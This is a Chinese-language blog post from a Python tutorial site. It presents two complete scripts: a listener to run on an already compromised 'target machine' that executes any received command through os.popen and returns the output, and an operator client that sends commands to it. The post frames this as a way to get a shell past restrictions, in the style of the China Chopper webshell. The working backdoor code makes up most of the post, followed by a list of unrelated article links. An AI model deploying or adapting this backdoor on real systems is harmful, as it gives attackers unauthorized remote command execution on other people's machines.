python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python和php通信乱码问题解决方法
Apr 15 Python
Python中正则表达式的用法实例汇总
Aug 18 Python
python针对excel的操作技巧
Mar 13 Python
python查找指定文件夹下所有文件并按修改时间倒序排列的方法
Oct 21 Python
在python中按照特定顺序访问字典的方法详解
Dec 14 Python
pyqt5实现按钮添加背景图片以及背景图片的切换方法
Jun 13 Python
python二维码操作:对QRCode和MyQR入门详解
Jun 24 Python
如何使用python爬虫爬取要登陆的网站
Jul 12 Python
基于python全局设置id 自动化测试元素定位过程解析
Sep 04 Python
Python实现点云投影到平面显示
Jan 18 Python
python属于解释语言吗
Jun 11 Python
python开发入门——列表生成式
Sep 03 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
德生S2000南麂列岛台湾FM收听记录
2021/03/02 无线电
php模板中出现空行解决方法
2011/03/08 PHP
PHP异步调用socket实现代码
2012/01/12 PHP
yii2中关于加密解密的那些事儿
2018/06/12 PHP
PHP+Ajax简单get验证操作示例
2019/03/02 PHP
PHP中Session ID的实现原理实例分析
2019/08/17 PHP
JQuery操作tr和td内容的方法实例
2013/03/06 Javascript
cookie.js 加载顺序问题怎么才有效
2013/07/31 Javascript
js图片延迟技术一般的思路与示例
2014/03/20 Javascript
JavaScript实现的简单幂函数实例
2015/04/17 Javascript
js实现的二分查找算法实例
2016/01/21 Javascript
Bootstrap学习笔记之css组件(3)
2016/06/07 Javascript
JavaScript实战之菜单特效
2016/08/16 Javascript
基于代数方程库Algebra.js解二元一次方程功能示例
2017/06/09 Javascript
CentOS环境中MySQL修改root密码方法
2018/01/07 Javascript
JavaScript数据结构与算法之检索算法示例【二分查找法、计算重复次数】
2019/02/22 Javascript
微信小程序绘制半圆(弧形)进度条
2020/11/18 Javascript
[00:56]2014DOTA2国际邀请赛 DK、iG 赛前探访
2014/07/10 DOTA
[01:29:46]DOTA2上海特级锦标赛C组资格赛#1 OG VS LGD第二局
2016/02/27 DOTA
Python提取Linux内核源代码的目录结构实现方法
2016/06/24 Python
Python使用xlwt模块操作Excel的方法详解
2018/03/27 Python
python调用tcpdump抓包过滤的方法
2018/07/18 Python
Python类装饰器实现方法详解
2018/12/21 Python
python装饰器常见使用方法分析
2019/06/26 Python
Python Opencv任意形状目标检测并绘制框图
2019/07/23 Python
python的reverse函数翻转结果为None的问题
2020/05/11 Python
Python如何读取、写入JSON数据
2020/07/28 Python
如何在scrapy中捕获并处理各种异常
2020/09/28 Python
CSS3——齿轮转动关键代码
2013/05/02 HTML / CSS
美国温暖商店:The Warming Store
2018/12/15 全球购物
表彰大会策划方案
2014/05/13 职场文书
2014年环保工作总结
2014/11/26 职场文书
MySQL索引篇之千万级数据实战测试
2021/04/05 MySQL
python 爬取华为应用市场评论
2021/05/29 Python
关于React Native使用axios进行网络请求的方法
2021/08/02 Javascript
MySQL数据库完全卸载的方法
2022/03/03 MySQL